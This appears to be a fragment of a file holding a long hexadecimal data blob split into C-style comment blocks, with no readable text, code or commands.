001dba4a7f49bd6ea7ea31bbee27350d604fc7de0c1a653dcf92f36fc1522ca9c805b1b78aeef3d44c7a1cfe046800345a999376cd7bd752c75a8965f7ec71d79d47b153e2901245bebbe0a0b3fea01b50e366755b7997dcc59a1e1293c8c57e0552b8b7ff5acd3f8a6b242d6013fc28fd7a581178ea5efce0fe6fa20ec97f4661fc0ba1fa78f1d422bf33a57b84b55ada9fd61a1cfe1032f1e07d3ba401038445d2c51397ba4b049689ce41135c7b99bdb03653f0ebe6f54b99b32416facf2a8f9ed3ea54643919cf95432d6dcbad2590d9b404461fa539fc781299a31019b3d1b33341f5980c1bf3e67600e156c0d081796898ab7bc8bb70a018227c28012de383f6ac4141e9d0048bf7c7215bd829fd7d1029079ba10acc7e10a224f348d97835497c67291354426707e21f3f64ca94925d45bd96127717da4697a074f1d0d040b538159eed86637238cf675273ca8dd78bad37f751e226241088f7313a5d57c5cb5367970103500d394b27081c7c66fe7874226c89a32dc6dec0a92a7830cf74ed802dc0749fc321010fad212af75ea163b6324d7d1d72f2c84d06d57085fddba99a69c18edcd41b39cbf93d5241f4e86774cb0d54c566636b4aba002e1f46a994addf2d2de79034e4ea649a0fa45e75c3e0de385808480ccc6376b0997239f9d60a937aa5fe2cfbe12f35e397840c96ec264a4819d5263a34e444328f923fd285f55e92b41bc7ad623bbd9b4603d03611d58146aa9751421a4143f3340e6a71c803f671fb71c628e60cb072f01a25b3276d1e240a4f76068e5ab47a8257fd3a450120aff2f29f1a40eed4a8723134bc7dfcad744d316c30ffa8c7863d483415057b89815027a5c39576601d4813176b82b9808f4a7845c6a929a4a9ec7d0e201b5f2d66f8b75501cb2b186fec9264424003bf2353fd821b1d9d1ed2344689cb738662f1b2c866401aabc9ba856f03c968f66dc9ea3facaccdbfd5749197adcb4c466799689425e618e9d67509d2789673d4bd41d0aef8268c10188d83b03083b2cabeaba800e476cd789a3af09739bc661f4ba69a445a89317117042537c17728c674d48ac795b976d509b06a8c9405b*/
/*c838298ad6c227cf64f4d84c9022adb3576f6e3423ddc775315b17c7fe2e86035db863ee052e06b5aa81831c864d92cf71b1da1428f67283867b85ea5b0ffa62f3b9471241da3d713f9484556832aa57c773532427a428953ae491968b635d7037ce6b6e007cb5eae78566532bc682aae8503ec95a40e6909553d428d9b83cc57d09db94ffd95bd779e5d88f60dc9ca8054fc4aef8159896a5fc08a8cfa94087d897f417c5840bd7a3f81c5a3972d7fd56aab007000919192c00bcdb3fca6a2bc52d5d3fa667e0db66bc8118b2e103ec443cd4648030705e1ae73e0875a8dc8f22948b665a1c0600b6218aba43c77f80547efd78e5acbdd791c2ab3dd929f107fe641e4844b61bc03a5ec01eff45c599889be4889995df80b6737cdcb04d5f0c8c343126fb382395277a1e55f69baea424913aace7738ebf8d4950d0e3d6d8e20cd2afa7c67104c4db929b79c323ec7eb3cfe4780c23a3548d380a1453bd70980655be4d996c6d69d466c4e3f8a9a999fdb68f33c5dc2846498da75eeea73147198e10743d002b0f53ff9c5fbbbfeed40e1a3d9ced877c9105044cd6acdf09012c2cf8a20b324f5440957894a3e200b399ab483514786d39638b0c29cf9ac415e39614574e22b6066f9a3436b3c4db399f4cc2fd721168a564ead203316ed2a956c3711aecdd3476f101b404c190f0525ea1261e208e6dba3e7ec56397f0e1a142f2bcd431a56f99d6ffd8e534476ac1e37e978678a720e48a5622f004bed0a12f854282f1736bec8485a586b74c27deab4ca62e7b46ea555fb539deb9f8f7ddcd5233a239ccf203ac6e30ea2c23d694062938f283977cf264eaccdac9ab10e9851abf87d7cb1a62ed88af840e9b0f720f2fae99fd060bbeb1437c710a57b8837e5140f89473c91bda0c465fe18de4dea21b859cec0ca69c2fe55d30d886e857f2e1da1e41a867c8db42756b36a90e4170e2608c199a29f97df00998bef7ba5832d2cbab5f6dd33c25e9bfea43ca842eec4b5fef78099f17536a35b2973e7738e8cb50c2b126bde0044465ae52abf8dcf78813d6d367c18636d5bb9d74bb9849cb4857684a6fd5962db4393018f401cccbd7d6d0c1b16ccf089540dfb40e70b539af9d0717280b6835a733fd7000cd3be8f4311f8844761a0532e18e1878a99e4face5b0e4a3961e4fdbb6b41122787bbbf11debe8e3026ba9109f2869fb417a0bc486871e9246c27b515407148537a27c1f5572251f262460b38226ddb4e57350d53f72a850a36f8bd82abd1b589fc48792d9386cdac0ff0fda01f7d5735591f30a40d540c5987eed3f9d74ea3ae5f9cb2309ea25676c9290d7aebe9215f52a9ed4583ab8f91e9f624bbc8afa88dc9d80125abbf6651817da195de4a733828a74580f2d60e574796866de8bcc777a9afb91012856c34159b8284febed3da511c3405582eb806d9e614d270beb1642257b629c984f300858d65a47cadf06a7b90e21e22107dab9f0d749be38e7ff90b52bb0823a98d784d93b225284055f77830997ef0631bc9f55284839aeede2b7e1eb7255c7c68e4d5e812a7d2ece83cbc126e6fcab137f408941c7ab342a6b17f3b00be8bf659c7dcf5a12b2bc0158799e8622a87d984ee499dc893439bd6f0dc9db969bc85fe5b77e89210e0e062cdca0ff19a0807014462acb246308e6b65e40436ad84be36b8c93dbfc316f3921cb1436e5d3d1f067913b0742e2ff06d39134e74a21f97fba34b49b2855f8b723407100e0a74bbe9dc838d6fd88500e1bf512d265d59feafa92f02dec78f0f1076fa9b18ae94f4aecf0522c3899a0bf85a39b2ce1d399e15cd2fa4b842e5f629a137963a21d326b4e6cf48e42e318237d3300c01bd6e7d73cf5fd5373d9b512dbf2cda4eb2f968c8d23c80c302184868dba7b387dc24bffdbb6f248cee7d334a304b4e862607159a445903a1694f24a6374f17d4c3520c2426b144a1e64d50c95e1d92f77fdbbcf7ea6461297f1a960954e70c2ac8be0a6b477523827ed5aa4973d35b450f727144e4b4cb5836a57ac259a5788f42455e01e7d020a1692240e404b9dac5b28a1e57b10d72332088b45bacbcdbd4486fbc11ac733ec40a61068c26a4ef2862b68bfadd95b3c68a1ff3a1990f8c6d15b31e2d5bef0fdac4129331e1fbbf6071a1a08b4916e48a5e096c542b52ac71fb88084d7a4e3a8b79c211011675b349aa2cdba597121b430e18656b83887c371b5aaff22c3b1f04398f14ec44661a24f6d66a6c99c76d32ce01c7f6ed072b4de88bf810eccca37d550652caf1c28defca46922fdeb973fe630b4db55e027e1518cb510e858b0e8f5a34735b640e3d14acebcdbf169b6c0077c975f9d76cb08503a1e100b29249372902bac7ab706e14b787e38eddfb63996fcc9a7fd44a2c100124122a65b4f1d8c0833fb9ef00f18deec870f537f4b646df0e8e44c19823abf6ed92970d0345239059fdc1fa662a4467deae8b6768757fc58c60994c9b15fbd830204cbccf9ab8d28ed022f5a5ad6704f7c9f4f5e97af84f7082f1e911219b606786a242fdde49614d1e536d6b1fb3a3658a35fbb5a284a4320039404e67d71c178d8a5937ec74d8529248e779403d15f6429a170b16341478714b1460e51d4a8fa1ee8f36ba66cc09996594169288f85c544d51160d6364e76c67afea7c4da4d85233733597545dc0e866ba0dfca531d0e4737b13c3cd8aaa687d684fa19ac20200bae985d15683f6dac2bb4f65302825d48846ca33a699f8c5ff671288f7948f9c7d134b0f99fef2555c61dba816922a9b72b3011a326fd10690697e0*/
/*c12d0810251873e5dc72b6139d72c4b1af5e775a1805d41d96aaba2d632b612b71f2968da1d926c9e40f81c9fcdac9714cd0bf70773aa4f9827b0bbf27e6813a771655a53b631d4e944e1b0a7382b46168f2785dff3e7031388d9182addc8c9e6aa8a0b1daf60b44d9758f86fad2063a3be10e4acdab3d144beb5262141643b47ebb1a33e2f22c3460ca2fbea87f7dea8144744802cba952df78fdc80268e2355ac16118681290cbe8862b7846e53e2a8aa5761097ba8cee08a462281451b369c658879b953653aea0283e926cd4ca78c007407b8d7922701c116046fee9a31587f6939d73a83e92baa1c027b6f08836618ef57777607acd880147c812e1e63fc810629ee6371f506ae1dc419305b168625942a513732f06a65593e4abff424641721cd1ac51e6406e22e548a49491fd152f1818c4dcd8cc4a8207236aec56c4cdf655506a2a361920a3cb439692f39e4c45938623847f10680515051d383a571d97d9f38973ee30b5b502bb51169c744e4ee861222a1d9d3973f3e6d8e23328406d13cdc8b214fbc784140dd22d28202c5efd4c8939f4be13957706a743018b856aaa93fae84142e124bae53f7bffedb58e10bd2ff9d64ad1a53559a5a751d52ac64a890efcf1f7ad65833dbeef8dd685c36f90bce5a991f6e7f2a34931e00b8382189f5c8566111185317ead979e7a8db668eb5329e107cac9a6df1dee83d8d5ae067ff12bba33d0de886c57f06426a10939d7b29904d980faebbf423432ad39c4b3d04359fa2dfb91c5c1cdcfcff6b384aa87852e8a590bb26f93ae4e99109b1152be17bd310a965bf58654edcc0de8b98be0fd756791f220eb1a05dc1440e3a26b09325fec27fd9d0f071079b7d8e66a79f41b1a81f4f54179fad92afb8e39e595438c55b2817e68c031074b76cd48058036f3dea9f8658bdc76f65160caafb51e3765e911e31c203fa1c402a3533db269657d9354811f4835347809fa72789de41adb5c62c47aea6f2e4e2639bad00087ad8c41560af351fef7714d27b3e33968ff36247ec529704bafec2fa285c9e809ea5a7bcdf670606c3eefbb8f1f5ceed98ab2224cb74d25cb181e74e57ba1efe947257add0f5bca9415421b03112c00fdf5f7353e0060fe655cb0f1213f18167366f111680f37fbe4d901ed36af88e9f6eb2b8b9c91347e7a51f36e97ec302644ed92cecbc7bef19ad8fb29153a4231c91180b5cc72b95267d6ba5f25839b8877e3771a278f853f7a0a93aeb4b223c00a90cb5567b7e645129e112bb098f723eea2c562f56d46bea2e2909b15154531f82dd9d762bbc46f208af2296336bb2fa7e9b0404d994302923df771e4fa04c1078bd25ea5154d9eced7cd03b0c37b004eddd140815726f93cbf34743a60bb0d9979ff1852bd71b68877e6c392fd2662f4aa2ed3e6864c113ddb5ff0738ad98dd409b84b77781e4e5917686b97604d456a0fca08ba447085346d79366f09ca96835a63bc5a11d031aa742a45b95fd150870b0e473d5bd2e8a1950811b7d1326f0c34f1ac68cc372e903a56e016924efad60dffaff8d6bf77c24b7aeda4201370aab97180a688aa5f87069a9aa836e3119176b058bbc27f9d31bdde73523c295f0e8674984028dc2b309f63681eefba60a27bd5b11f4aa96303f23ba907c31661483a9b219713946867695d98b7395ec7110b48fd43dcd216d02fdeaa9406dc456e1bbbcfcf43ec77024ed6e74867ab0f046dd29b6735b72c9760dea85c196729c638a9832dfdd0aa04c5733b1b6fcef9018731dda1a2d50eef82ab32f3a0a456b27188f11f60320a3f0360a6481b159d6801507dff85f999632f3ae8e8b24ebd0b27f5cbeedf49617bbef3fd7a0a341137e9796802198d0e498b48f937422f63fc5662409ccd27f7114823ba5b0a2f0030bc434a606ae9eb1eef399eebee9cb2a78402a5eaa3150230bf361f34317497b089ede3f99dcf5681c2e223e60ac5f124327349a4db8d857c5f548ca299416dd0c302de7966ce5dbd5932b0432e74b85a3cf29c44411a97dec964e652d6bdd6a24d91036705e3c4aad32690db55e6c8c6d0b95a3f504f0a730bb441cc05bdf379710a0e5bd6612ffefdcd672e427e55b392f952f2aeb7b020659303c22da3989cc5656984577f827cb980ae49e5e5f6cfd8de9f152b387047e6395cbb60143de5e6528d8232168fbb88cfafa73b310e07aaca92081667d8d17e21f3153229859b57b783020aa21cb3284f6b26c0c62e0826b515d583563d8ad447b182a73c2ea9bd7be29cf4bd6e91f1bbeb281ea2435081a71f982798cc3a720bcbfd08b47246be9eb0d4ff28030e79465b7b5ced88d42657d0003795bcb993aa5fd24ca489bd09a5f9aeffb8fa839a02084a23dbf25d9235b2578ba66636f1920b4d220d861179b32362e6ea76d49920ef192902caf17699f526e57386e1a2bde00eac72ff623da842086549022ede85fc99ad5130f210791a7a7ef601f01ed07e9a7cbeb14ab81f6c90162ded986a275ede8f6d3e703081bc8f6121222b6a738acd2dc1c25b48ceadcf3ffbe732711c2eccf22b3676ccd1babf76f8454f5bfe75ca2d2d102cba5491e7e14f85922a12ddf3aa54f4772d8924e5d12c735e8bcce1ed39e686a3928bc1ccb1031d88a56a32dbff48b84f0057e09b9ef82535406efef1d23b617d00fe2319f7e57c0cce075e0135b40d7c1ed9aba48342e529bce35cef771ee8069058d8188b80def0dc9de0ec24ed4d288537e560805dd23ae9993c7c0457ca0f4f312657cf46019d93ea71ca577885c0fc52a55a55a18a7cfba65ccd45*/
/*7d82162be30b354e2ccdbccb8bd008086807dabf25e7610fc66437fbbd4fcbd8190ed397a38fd135294a44f316072c9cb17b47efd8ca72eae26abaf5669eb793dda537e253015f09bdfa4221a9e1f86128d342b63be33c9f407fc4357d816df2d9ba51dc274ac34d837411865ccd73f3c9464fe9294889874a6438d1f927b90d18d4042231bf92a5cb35d79ee30674fd1ed600212a82af77596402d86a6766303ec0ef11eda9bac9c1034512c0f68080c63c21cfb358d104bd852dc1a01f8cf752551922c5d51dae3bd9410da5a8fd3a79ac3f8d962b468744e1b4af28fcd38cb8597aa91ecfab51e06b2618aa9857f85a0114f7454efe5f724e6047a3c33068a6c04662b4ee724598e2821134cb5d07240c046e93e177a71115f89d0b0753476518d37d52358387f61672fc8327af4ea1fbc7155879f188575a5108dac32e8ccde66617e8b76faa6da4e7977600b01e7604e7cc8c4c4954bcc0910fe40ddf6b2629816449b70908c81b2d18e2c52b12c56a80d7b726d7f09482efb3b00eb2cbcd0dd702c7d5a2f507ad5ca0406400157adbeb3afab7630cef727b9be5e05d5593db398a598cd7957395a54a03e95e30c301bc60110b5a8a71be3a07a47feda6e85d9bb7ca7b92734a610e08ff381cf54702d9541133982384ffa3356bd69011cd74a58cf994b9a27fcaa6fe195341f8f8eb33495c85cb3091249e14406221ebd0b0d94cd39d1c5dbe885b58186ee11ddbcf09883bef75053bb49bad13a7f24b0f18b7f8699b4cd72dd51a9136114f85b528fda24cad71732325ba5b6ced5fee5d0c4f27e344211ffff88cd41298a5f9b385b422743f232524f512f3378a8b163fc596668f42172921e6e483893e74efc9ac8d09d7bfd2d780ade410342b283dc31d3e124c5825bfd4564847b28b8e845425966bef29f8d04177a68e3ab81f208f3367e9a578cea919b802de6b46579812f0e1d2c1715f85a3dbf5a22ff57a6506075cd0c40b92286d683831fed1a4f3988519f938b659ad8bb899ddee8afc03652b3ba5771c585256d580a7cddb2bd0526a5cfd4c682e5c89903837a2daefd21b1664fc8ea2b5d36884f7767fd0f99351145258bc2c38140f32dbbaefe1e7923683a728a1f360c9081d30aa232e6945564936e729e01602854fc6bd2394bb9b9cc177586f70eab66e7b3d4b9be51875c4c2c3ac6d16a5e0ad107b6684dab38cdb88c09e17d3ddbcc6d2cf99606dbeb10813a6dacea24f3a7173fac50527a14bfeab35303f8b5b153288e37839eba16fddb8600fd23f4346f2e9487f907427d8e63a64891450b9a7bc09fc1dd6d24cba0845045fc70a6f1ad3897bbf6a61c55d90a5bb9c9e62cde0ceb9bd3e8043c592dc93ec2c287b4b9a4e7343dab203757e8f4437330d1a96d576d35f56f66ec91ab45fd8d10acb09d7ffec2a5c6ae39552fde49c74529afc731f110fa1f2052d98d01632931fcf028e0c5300c3807345521995cb335886b0133545348d3106fb8d71e9d930da3b990d2aafe243b25f6dc4c7dbac4f2229766769529f2f9d82226dca0be33445a6e71a6ef81bfb1de54fcc08a93a68ca6d13d307585e31b2fa68819972efa06c3d639f29c773b99e7474f190ae9c069dbe26677d46639aee3f54a9b37e6d202472d5b9db2054dc77e3a107abfa297e720482f16822fdfd1f6e01477bb4ec06078c3bf5639cc2449dd866b3d9adbbe3129c8c8156d037a5dce800bb5bc40cf23a42e57f23effc3feef50fb43fd81bd917fef170a41b00932677a007e7b81681f8316285fb0144ac64cb974ea4ff5c9dda2b1f87f6fb895835ccbf6d74fe94bc54c4bbb4de4539d610bd059d901cc1125e97119a08b8105210f6f16389056fd04afc2f513a529a4cbce1f5bc1c2321dc5052466d86827a2b5682ee84bd16664fcd603c83c9b5c831b913dc0a462da3b2d4b6abf521c83a2a03ebab4eebeb584ce1b0cb377775a579b5fb957098b172fec76612cfa64ea086589474e1b3b3b6a10425da7cbe3bab2e85e263603f53b633abb59db0a39c98e1d39f2354b660abaa91cadb97a54c236ecb66fd551e38d30675acad9c27db787402108b86de075796396d207ce6756c412c17b56acb977fe04ee898a64ca822e80461bd5178fb10e8103539e772ff5b640e408dac41323b460387c31f70378cbba38ce78f448b793591f3cb69e24a0ba8f72bb84df1e30b6b7b841881c67d17c9183e7955cced45577c5f5594a64a2760859fc7c8252228b6ab4a7f4b0d3f6851f2764d60404940b67b702804e050ba347f9ce5dfc995dbee13b27a552f59487efecaf7d51f867bdb10717ee9d135376f2307bbda78515e3ab4e1933e37284f3bd9f8e2ef2b108f17f70cd71e1a7fb80f0d5e5b8b785d21f68d7f514c04ae231b484dc0e90e229108b9c8d5c9a3c69bb02d4bd4c94a4ce9233a31cca632256fd7c0eda69cda715272535fc3b1b245a793778edba5f5b723611751ceb21f029b25474351cdc5f1166346b9b61912e434b2da61ff5a3c9cb9f9261d02e4db159c48b47b44f6f0baa4db76ccab81c903cbbcda03b2f06e8c1daba800ae8fb70b79ebe594889971fb26a0cb1c6eff58e6dc1b41c2a0bf5551a1e455bcf77fa84f036056b98a8e6a528ea66049252e0c1c61e8cf1987cf473b4c49c730501608275367ba13e1718605ee90d735d4504d1364dd219599ea320dfc94f05498efe654e0626d5fb75a7e4274622eff72e39605bdf66cd8d6deeed6cf9e01406bfffeb960a03ceac60d3c7cec01dbb722cdf0a9ad05e3a0515d5b51a1e7463ce33520229fac5196df32*/
/*02168dd1b8954f60be29360dee0e3129a876bbed2e2f262b7d65c990dda10a6fb9b9d220e3787216cfe95e9c3fb0af1a12fdba88ea15f6dba6f38db4d2696bdd4a423035d2ed7dd75186aaf828b39efa67aedb47866a8baef9ba2088687a1e32c86fddc52c39669c855fe768beaca85fa0a0c48ce0433749dadf3f8af27f68d9b1b218c582f0d5128a53b7aa4cc1c649290d82db09afdbcabe1f6cc61771a099eb5499dcb53e6f336a354bd359affa5ed38e06e3c2abd8a500b858cc2bbe0c1e0b5137b1db427156770fc1571af519525a09778548080a76e9389879a99cb8855cd58e59cef94613bf530e03ee72868a7fe2bb2b505e91ad8963857cf3573235f3ff1f6d366d17d8a90a48b0c03cb60281f5f15f1d430999246bf2a5bfbfbe087edd2a0354a67eb42c15dd6783a03a28341771540846692d0865e0699308cf952204bfe82684fd116ed0ed391b0595624d74d14d0925fe20941ed90fb589021942c855dedb555b66b1aa47fa9cad82e76dc5dd13854f71dee05611d8cd9fdfd054aaf1137cdd4d0c1a3f46ee01f07fb75adb436711d14384bee5cc3c4aac3bd6caa09ceae58a01b932eb592da2e8af596979cb235239a2a0971c9ffc1e94fc5b30d352e3f080fe2bba386be67ad1fc0a2255e726eb73991a53ef564b235819f8653759241a6a154f56043ace42a563910ced4aba4e86577af1154eab91b5f5494eb32c621ce8a50cb0f0aaabb1daeca68e67f240d83832d8b41d47663a3592849b7f3bb40cd240289aff0ff6a62deadaa1c9f5d10b622932f805119c910e24bd98239db6d0f3ffab1bf3ab83faa4bc0f897a54aa3fab2788edba9909fd0e179300f6fb9b38ee4021fd93c5d3b4491468b4194008abd2efc645b0922298988d3ba2fd40d61da4db2e7bb9ad3c845dd22ad0d859b0f1776271d2519f8e1598831e2f7063a56e7856469e970ca64c451d69eb53523b58d8075cb9007f98c9fb6034841e47c19522af5409b47888fb63b627dcfe45298134db890c80d88708d68201172067f3ba0261285105b7a014135eb11fbd900bd54507d6cbc429f5e01ae15c610083afc062b07099cc94321d854f000a5ca05db998141c01fcb13ae86259aee4f641704eb5ccf9d0201674f4c49204afedb5597bd228553a15629ae935f27289ed6d45985b24a837d38ca0623ab6ca6cc31e19deb8c0081ebe46bc6527156a230aaa387caf5e229eca3f8725fa582ee57c6c911a44d627d9b0eddf759eab69834e78a38aade0643a9077c98e19f50e5d08e0fbfa5022d3586923db9a6184f65241f54fcaf08dc0d0f014148f116320433a74ba0433e471cf796725a1d384bbcca63c7122de5965cf9d8855df9acfc64488415e4e9530645bb126b69f6c7cad66874bfef8326a562b9fe684882824cfa7e7892bd81ca7552ff0294e22e1b9c409fc1d96402e4a22d717d71070138b0eb549d94f081c28335a633ba5ada15b48f6220956209fa53580706041d8e7ba8a7d42479468359b16cd44184c33ff79704612c65d11e36d5b886f39f5363384b7b78c9aa90070e5932adb73b39fbf0bad732a74927b1a47b2b7c7c2a514a10f3c7ab3bf25e02fce0da42c70bcca39247a5887ce256d66de630977b02c866f15c7b616120bdfaa6c42d8a351e2eb3989ecbfb1c83023bbdc5bbe2c175d3761b53e28c879209edcc23caa41247eeb23b54a6fce2653fd126bcdfa6f95163e5b0cdb8a8f7af1c494605306baec3bac6a126c7248610d67e42873e4d9b2ba4c55184ea5ab0e4cdcf7715afa4b1108ade092c9bfa29ad8f547eb21ba005b90120628975ce688abb7470083c5d771dd507237a98d54124960f10662a20e3cc6d68cc1ff650363749cbe962fb571847b3d0c20b7bd91a81543168dd362da60a16e542ed6efb2cdd19cf1a4c0bad062a48c42996e366a256366bb6f19f2f70ee37819f65ad829f8400d709d4b2a6e74d850b318144e2de2b89e0186694f82671ecc9b37b63dd8fe9aeb7cd081e0e2fb2a216c8b6330e4d3aba0de96a68ef2ccf0e32789338742f13259df5902ca28c9bec8add1e692940e70f24dd114e640378e993fe32e57396526ab5beae7dd09c66dd1899ca9a14faa5a8cd24f40b98cbd5b64322c354c1ece948abf48acb7be41d0fc07d2849b17773ddacf46f3d59dd10a36c14ac87914beb69238d822e51054250d0a185cf0bffc112757c045ad0bb3cbcf0e0fb92d286b5de8e38be685a8b87c8867b715261799b0c30a28527b513aa9ab27415446ffb696d589adaba54911f3df991affc1cc9f6336d65545407ed96246f7f8ab0398cf645c5796c6566070a0e1225aae4fd2f3455da74a12eb1c85f4bfc4ac5a89cf5bed7e513695ac87dac3366cbd7b40a26330ce02ecefbe7cc27ef58b384df79ca930d5ae03c97ccd7c10bd4c18c1a38087b2855802e8a8efa84aa1024d43697d1b174b7957ab7d6ccd945b4790747044db9e5708c2d80bb141a83ac5de82c29324384ab2dfa4b87addc557f3500371cdee08f2b365b38b14b52efac4c761ab56b9c19fcde5e06e4de6fe6ab6e3c280e91eada5418f32c35493e7fba1b540cb2660a02e490beb9a7676e72b11efa287055e512f4aec35efe0ea5541b7f7470fe2b63db2cf4477f86f4ee7d137026be88d0849cc5d97e5606055807c2d584edba893cd8ff5ba1050f45cb03a25859e31fb38c6d26e7da8f87aa037f91ddaaac7375db6954bd3428af8f777833a7d03bb8cc0c41069ca9a47b8bc213c11de6a1d4328f2662abf944d82b55e6f28dc6cfae30e38e116a11732a40625a987763c*/
/*81dfb513694f1f32f5c429dd88f47f8c32017b97616e0dbcd70077e72a31115acd130e6616757c3c7f68db785c55539347e33c897ab15de0e83ae7ba69a087c696d0a197c0908965a9192b98b77cb6a34d99c9c134c80ebb1defbbd262df319f97b679ca5f4bd261cdffdc1b2f8adf3bbf9a387e0214b9be02ad906b221a35ef28bc9df15db5aab7dc23e819e46a75bd3a86bb1143cfe2ffaad4be5dd41c17128153eb1529440fd7651329f3081ec9c49a772d477ba8e9decada1a45d09aef68a5a1750fd5fa51aa524d8050c9998a8bfefbb3841ec2c3437e8fb0d38fe1d0ab11b7fab9bb79302ac033b6b2f3f6de17919d1ffc4ee3f550bd0c634c73d162176170c807eb7c9d2dcfc9c84c0ab8d5e7fe4cda6d205579b6cb481f58b59d68bd141b1a073334d6ac707ffe54ff9b8b978f7696bdc3547b1ffc57addcd905c45caf14c9a5d9acb53d7b6fa91da3998c3e9fb6a87b8b4264b224ec1474844c15272b0382d4f6695363a899914497f7f41adcf9a1c957c2c8131f4d444a68f602f0b84f3130218913ab2ec4ec9c113ba53c7f3cb10f42ea97dfd6c7b28c869eacde70ad2da9aff9561e70edc1f70f8078b8a4e7851f43625ac452ac6a0278cf64f85a1cc49cca7df488dc407836a880bb1e299bdde4c015ce8dd7ed6612a954066b050a478a1c83da44abd526f05ff75cfc221293ea7ab863299a16cf83e519094b029893536a40bdd531d7e97e7b96d000e6c98dfd74737bbcf967f855d8af086084016d2508221a44fcc5d35e5ef662d6f17a0de18105548c259a911a52b60304660ab53308885d10cd6c6b1f3547fe3db2e13211fd9056db767a06fa719d7583d606367fa8db3408982e2c676d3e22843b4887ed5e9703d949a961e1c389c86ace955fa209f47bce6716401863c03671303bfa0d1f2ad8ecc3faab706baa210afb58a2722e05cd2ce8e7bb4bc689da5ca3b7fccecaf23e5dad835d04e4c92c5239239df5fb56d6ccf3d03f6496aca7c3b017d93ad9cb2084378cfd51332b92b811ce2b8fb13582b0b07c9c891a9b6e3033f86def0962b01ee674c7587d6421eeb12a5a97ecb20c0823f2a439d07b211c021d00aee36556644aa7bafaf490f70c8c04abbb419da11f21ea1d092834ced044dcd05f7ffaa44f41e946b7480f0373dd6bd828e3889d063b7fc166629f1be88e005034db557bf578e7d2150b870ce2663fdfb18009fb265a25f2c85823014be77eeb519fe8068ceffff470aabd2d80928fdab7d54b42a9e84bd420b16ebe942f10eaf8da4bca99fb15af1d956d5120d495cdc2fc05f047c743de6bbffb7cb056909bfe10fd832676e3013afbf5344b80c9b579c179d62e22edebf8c259624e72a5a3f8a4350da850992657e435af8e097e23b2cf4c86dae5982e537196c6e10122b81f93dd6f86ace028de3027560b187564d888936de38f3d353c5e729f2328d2324320e4c12f0f3b58974aedac0d7058049cfe9ccccbf54a1e9c316493bb3af6323168d34a78aa4eaa18f37a868782ff283d5d5c78748296a82b7ac51d18d14f64109ecbccd5d63ef4ffc07d39267a695705457e0657d5071541fdf1225fb44e245833df71134af2b1ffd526e042be21c5477b84a940fe7ba73a716f05f784276b6639a63d5ec020030629104aae70a044a35b79317e8f92fb53317d192d802fd74c3b6f519a3652a1b92790ec058ff3df16573bbd047775d9f5bc9bbffe7d1231be7310bdd2a1dcb1b13b9577b2f9ce547e66dc36f2caa160b5109a6330affc5068e35195382258806278fff81eccedb3f27769f9f90cc107a1c6c86e8744464e3231d7e3d1ba66b030862097a9b0be302b76e401eb9b923261705d7873ca785cb627b8862bc5c5be912ae3dde50a7a6b2c78594edd49ace145ade7803f6150cee93a7d6f468a32cd8ce3f7e591c5d5952aea81030702ca2b868da6f5b6d85828b4f6c0afeb6e81378cce4ce7c0756880510cd80b0aa063e69d99163a45b1895f026cd356c32397c09d40cee6a729e4cf1158b6889c27a19aa69c2868e387e571aa328faae761ed3210373d2eaf32968ab23f9acb28245a05d3913e7511a5181c808dc8e8f24b18fecc08e8dda34308d06521e423b2bdd1de1c59227ef80fd85f5b5c3e6a1790a9d34e6a2533661c61e75a8c82d246aaf494b3ffa96832c13894a7562cc31d2298c2c392b68210affebefd41a9b90d5b68c43b9e466bcc171ba1bd83c2f1b194a082fc061e45129e2fe2486abb89631b975a8bbf96c8709cc8a2cc435bef7c7469eb150d35aad77cadd2704dfc98af4ae57d486904d0a2a04526ac208c0ca2db330b899330865c58c3dafbe1f36880f57b5bc4081f92c9bde3ee39549762de5b8e2d67c86a526fb8c8e7f0f13ec9a913f9332e32b16d40499e95b7e7eae025132a02201a29a97bb81e8c86ff542bf0bddb3000511cdb88f8aba80146e6a24cabfd4f32cb7c54be0715b1dea5028c82bf9c5ecb26449639216b1f2b8b5cb1d7b6102ede08abf1918fb322451e183db19c5476af341a187a753443e4e3367e8d550959f0595e78ff463ab12b440e1e2e46011c0b600e7e4a281f4b2d08ed0b820c3527053f1a82e88663789003aa4812064bd7507d791ea2ef350b7fc1d823f890c1237d873ac9ab9d00b0cc9120e3a35b149d530637b850a9e6df0a229ce32e1f988dbf58d2b714c0cf3d0ab3b8c6e9004f4e1cbf48b9d03b618a3d5abfdd99bf1b0663f37e2e0a6b6c431126e262ac8559ba1d2924fae787b99b7be04cf58e990085f9a1b49db0ce26a3c2f5ba87cb257e306f94647a1b*/
/*6b14cbe2e78b31afc68aae297459d8d225a6ff6f031df04c09f4c04d373726944f4d57d0ffad707c4379016788188c9c2309ac7dbfdd3c51d5e4a9d6641bd32e076042dff783a2ff8dd8fb2a3cd8279d441da3aff8b72b1e5a68755ea783e0395638bc5cbecdfbd8626116c6bacac1cbb9a24c3fba26588878ae5d901fd3ec66c5537baf7594ea38c6c9dbf1bff29015d57cfdbe2282b4037e13b77b6cf32f17a494b15c5cf563c73652f14cd8d28b88e30fb11d0b3d647061c5bf42acb705c5c9bb27b67c17c07fde9628f34be890e6759f6115a63be1e2f8502b6539762e94adff268eb2d208cfaa66583a7bdd7354927a128f155b4bdd08feed0cc7f05cdd085c871b8e507c2fe3a3948ddfc5cadb0d2686b915ac829e3c7dfe829063f5167ccaac6ffdaddc09caa296c07f75d485bef504709c3940746d85cc8c59f277a96803b64bbbd61ff6f3393c4873dff87ec644f8c19bca23bb5e5d4c23b4404d56084392ca8c87bbd5aef230ca14740c3f91020a11c09a2911c3bc8092610f6a0b54d0ceed8150b0a41ba45489c325e01828303fc1756e29fd9c4f88de95a81ed4c5ad21e5fa69da3c73d3fed1fbf452d5bb7d693c5f864b28f53adb800f7a8d65cf9243caf2a898fcd59cc0c3fa903a9b56a3518ddc6254bf60f8239d812baf24eee5ee95b7a910a35a6db5dd88d5c92c3d6d35961dd7c2cc1f96c8651a3389ba8b3f895687544cce85ce424faea97ddc3458354f41e7730bb420a538bce59525b529335badd81f159d4cb859624c9c079418ff3a382f200559e9effdadd5cbc04e1458e415736ff068ff2bea52d60045043850e1fa9e00991b8db56e85a76301b3b71f97cb5cbe295094adc66e3bbe8e9c4500ebdc1c61b41e100cc36efc3c6786d3e58e12553538a55b0339addc092e82a138a772b8a1b23ebc13bb3852808b8a19de5baa11ca7d3d4c9943353bafbdb42e30087644f4d3224534ffc9cc914a38973f4eca11609cf1c779ec7cc1ce0b59434cc4f292b8f124504d795deee9e71305ce381c447066a285fd2be13d5ed321305f8cb13171c13dc8a612a1bb860c6d031d4ecb87250900865a38d939813e265364ca02753fd99721b638c925b44551b3a11f9596ccbc8ef37e0f6e9001b2f6c44644c9ad4d5b624e3